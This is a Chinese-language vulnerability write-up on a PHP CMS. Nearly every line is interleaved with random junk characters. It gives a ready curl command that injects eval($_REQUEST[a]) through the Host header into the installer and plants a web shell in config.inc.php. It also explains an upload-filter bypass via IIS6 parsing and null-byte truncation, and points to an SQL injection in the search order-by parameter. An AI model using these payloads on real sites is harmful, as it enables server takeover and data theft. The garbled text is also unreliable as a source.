注入:& I% ?; O9 ^& f+ l* y
/ @. x) ]6 b+ {- @" I4 b
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
5 L2 [( w& c9 ~: |2 q0 F* {1 j
# `. d, ~! `, Q: C6 p* s0 A) P鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
* H5 D- V5 _) u. E1 T鸡肋2: 有一定安全常识的站长都会删掉 install 目录- F: N* m, u- h: e+ D* ]
, p; e9 T( o5 R& n9 y' j虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响7 {" L% e2 d9 m7 E# f0 @
3 K p5 Z$ v, p6 W
分析:- `+ `# q4 X( d5 T' e
2 p. h# [+ Y) L9 s# d
( f% L8 [/ B" ], B$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤3 `! V& g1 s. R0 k. c
+ o8 u" i# Q+ Y
$filestr = fread(fopen($SysConfigFile, 'r'),30000);4 M) V2 N+ L4 k% Z, E
$filestr=str_replace(" ","",$filestr);
. m: b/ g3 M! G: y+ k $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
% g6 K W$ ^9 I8 L$ j! R $filestr=str_replace("DefaultDbName",$dbname,$filestr);
2 Z! R8 t+ E; v6 Q $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
1 q* l& n2 h% m3 v3 m' V $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
& C- O% N7 x: Z2 c: F# N $filestr=str_replace("DefaultsLan","zh_cn",$filestr);4 l. ? I7 Q+ w0 U/ a# T0 A; R
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
3 a# X* s0 }- R' l" ] $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);% B# ], [+ V0 T7 X( C/ u
6 S8 x& ~$ O) Q$ Y
fwrite(fopen($ConFile,"w"),$filestr,30000);
: \# a q' \, p' Y, r$ Q$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^# A( l% f" m; Q l; I Y- }
. Y+ x- ^. t2 V+ z. [9 l3 Z8 Ppoc:
* I" \, w9 t% g+ y& R, O% F
$ c# N- r/ R" e4 `# n?
9 k8 L/ W1 I% v; V: Z; h+ Z' e1
& H! P& I Y7 S6 ]0 Zcurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
7 N" |4 v I% t* j7 Q5 o+ R* G0 tshell地址: /config.inc.php
- R5 G6 d: K5 ~" b; u; V跟之前的 phpcms一样 需要远程数据库. g1 s) b: M- e( y4 c9 g/ h
1 p% ~- ~, d; B——————————————————–9 r5 n) j% _, c) D
上传漏洞(需要进后台):. a! `0 a* T8 P0 t8 Y/ c' z
漏洞文件: /kedit/upload_cgi/upload.php+ ~/ g5 i0 r) t! E4 |, X) \5 ?( w2 q
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
0 i1 v0 C. M6 n6 x: A% [
" O) E- } R# L# u* k - e1 D J( r* `
<?php
. s0 w/ Y, d* }% \% @. @ define("ROOTPATH", "../../");
8 X' W; Z0 x5 p% y include(ROOTPATH."includes/admin.inc.php");8 s; ~. s9 ?1 e; s6 @
NeedAuth(0);
# h& ? R! C% p, Z" e+ @# r2 p y2 B" t- x' `, b) F
$dt=date("Ymd",time());! s( j& E( u( N7 J6 ]2 s
if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
* P8 j7 @' n8 K, l @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
3 W/ V* Q7 F3 { }
: G8 [: _; I8 ?4 J) k: N
, ^: @0 v: ^% M- ~& C //文件保存目录路径
' X$ M6 ?& L0 X( v% M $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';" o- @0 U& b! i! ]
echo $save_path;
5 w& @# Z# l$ [* y- p% T- f //文件保存目录URL
) n8 i# ]/ O& A $save_url = '../../'.$_POST['attachPath'].$dt.'/';) Z' t/ @" s) c* _8 P
7 Z* X5 }5 \. J. X I- a/ M# m% _
//定义允许上传的文件扩展名
* D) i k Z2 ?0 G $ext_arr = array('gif','jpg','png','bmp'); //限制后缀& y5 k9 m" M3 U# ~
4 y2 P# D' F- ~& V0 w8 h. K //最大文件大小0 s7 S( T; j P o7 M0 N
$max_size = 1000000;
2 } M) ~3 p( m5 S) N4 l7 l0 ] % Q5 f+ f! ^+ n2 g' @" x6 `' f
//更改目录权限
% ^" a# \& t) j4 v, T @mkdir($save_path, 0777);
" ~4 q) C1 z, [
3 b; t! e, K7 [; } //文件的全部路径: V7 Y" N6 _6 c5 F/ W5 o4 L4 v
$file_path = $save_path.$_POST['fileName']; //保存文件名# W; j: l# [7 z( o1 Y
1 P, W2 L1 N# D8 F4 H //文件URL9 F" y, {. B- M
$file_url = $save_url.$_POST['fileName'];
+ |# N% x( T+ H- W# C j7 K' {//有上传文件时$ w1 O& b; e. l
if (empty($_FILES) === false) {) X5 T4 D: _) J" `
0 X+ ~4 U# _; o/ Y9 h
//原文件名9 w( y; r2 a8 U, G! }7 L
$file_name = $_FILES['fileData']['name'];
# S2 h" n% x1 y/ Z8 y //服务器上临时文件名( a/ c' [) y4 J: Z
$tmp_name = $_FILES['fileData']['tmp_name'];
! n, V4 d* i9 g% d! l% H! _' u$ a //文件大小/ l) m8 f5 P% y: u' t; b8 }' X1 A1 Q
$file_size = $_FILES['fileData']['size'];
; q2 s1 |# b9 U2 L6 T //检查目录
7 Z& S. U( \0 n9 j if (@is_dir($save_path) === false) {8 a; @0 d w t& S( w
alert("上传目录不存在。");" E* `* |7 b" r
}
: H! w4 N7 N' ^# [+ i //检查目录写权限
4 a, Q+ J3 B0 I1 y if (@is_writable($save_path) === false) {9 \/ q/ }3 @/ |# q0 M( k
alert("上传目录没有写权限。");
Y; I, [3 F- P+ O }
3 G% s* {& T# t, ~! _/ ~% I/ ] //检查是否已上传! N4 A" E; \9 O- H: p$ t- D* x& P9 D
if (@is_uploaded_file($tmp_name) === false) {
( P# ?% W4 I4 z% ^$ k" i alert("临时文件可能不是上传文件。");, {7 W5 c E8 e6 ]$ N
}1 L# h& U$ ~5 x" H# s
//检查文件大小" K2 O+ h' ]6 e( e
if ($file_size > $max_size) {. B/ k1 k x+ @: r& _7 l
alert("上传文件大小超过限制。");, V- W$ J5 j3 t4 `6 u0 \
}
9 S! d. X! Y* C/ T7 s //获得文件扩展名+ B+ i! c3 d# m- g- b) x
$temp_arr = explode(".", $_POST['fileName']);
6 l6 H& h" G9 e4 f5 [ $file_ext = array_pop($temp_arr);& u3 p% _1 x; r/ N! G. h
$file_ext = trim($file_ext);0 W1 F( j8 [6 w- x0 i: n
$file_ext = strtolower($file_ext);
( r* F0 `7 g; t8 y 7 F' Q4 J$ h9 A9 u
//检查扩展名 0 ?+ [1 }' B2 d5 M j3 U: d
if (in_array($file_ext, $ext_arr) === false) { ! q- T5 d6 m, Y% R
alert("上传文件扩展名是不允许的扩展名。");+ R/ A4 A3 e* x( B: \
}, E6 G; ^; g: r: ?. r) z0 k0 Q
7 w3 Y5 Q6 d; o! |1 A
//移动文件 3 S: C6 S9 @0 F" O$ o
//未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^
2 B0 k2 h: e" m% u* E6 b if (move_uploaded_file($tmp_name, $file_path) === false) {
+ K" E9 N( r/ W3 y alert("上传文件失败。");
% e9 l J4 _* M) M6 U. h }1 X& r1 l1 Y0 T+ P! V$ X1 s1 C; B
6 j p( Y$ V+ Q* h) m& X @chmod($file_path,0666);' d+ s+ F& r- ~! ~/ I; t% ]: c; k
2 \/ Q# V$ r4 R* r- a ?>4 ?1 B- Q/ ]- J' i; ]
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
! ]! ^( z& s6 f# j: W% A . d9 }: `; d+ ]+ I2 Q
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过7 B+ l. }; w. v9 W" ]& G
/ `# [4 F3 y7 T$ s% j
——————————————————/ s0 m c6 Y/ o' y1 s: |" s. x
注入漏洞:5 o- J/ `0 A0 c: y
漏洞文件:search/module/search.php
6 k& |2 f1 L- K5 d6 I$ j$ V/ X/search/index.php?key=1&myord=1 [sqlinjection]
0 C+ v5 `" B2 U; o h( _- a v, r 3 l4 U, f) S3 q3 x
* m) x }0 J4 K6 c/ {& ]<?php) ], ^ z: l6 |( {& l
// ... 省略 n 行...% ?- o! M% N) a; [' \2 x; t4 k
//第18行:7 X* R6 z# F/ u! F* d
$key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响
. |8 t! n' W& b3 ^! o $page=htmlspecialchars($_GET["page"]);
- r2 ~9 S$ ~! X& K6 O $myord=htmlspecialchars($_GET["myord"]);3 I0 E5 p+ @$ y( A
/ E: N" [/ t, p+ W" W // ... 省略 n 行..., y. X, q: d1 T2 |' s: C
$key,$myord 两个参数带入查询$ {4 V0 Y! u3 ]7 A
//第47行 $key:
7 }7 w$ j3 Y# c( Z 0 u* b$ c" `' j9 {, j: }& \
$fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..
. @! q2 H$ n _' w ( t# A4 O0 m6 f. Q' ^( T
//第197行 $myord
* d9 J; L: ]$ p6 @& X8 K& s d $fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入
; f# X% |3 x0 z9 i
! }( ?( c; d! R; ?, c ?>
4 ]" b8 H& D' {1 z6 w' J |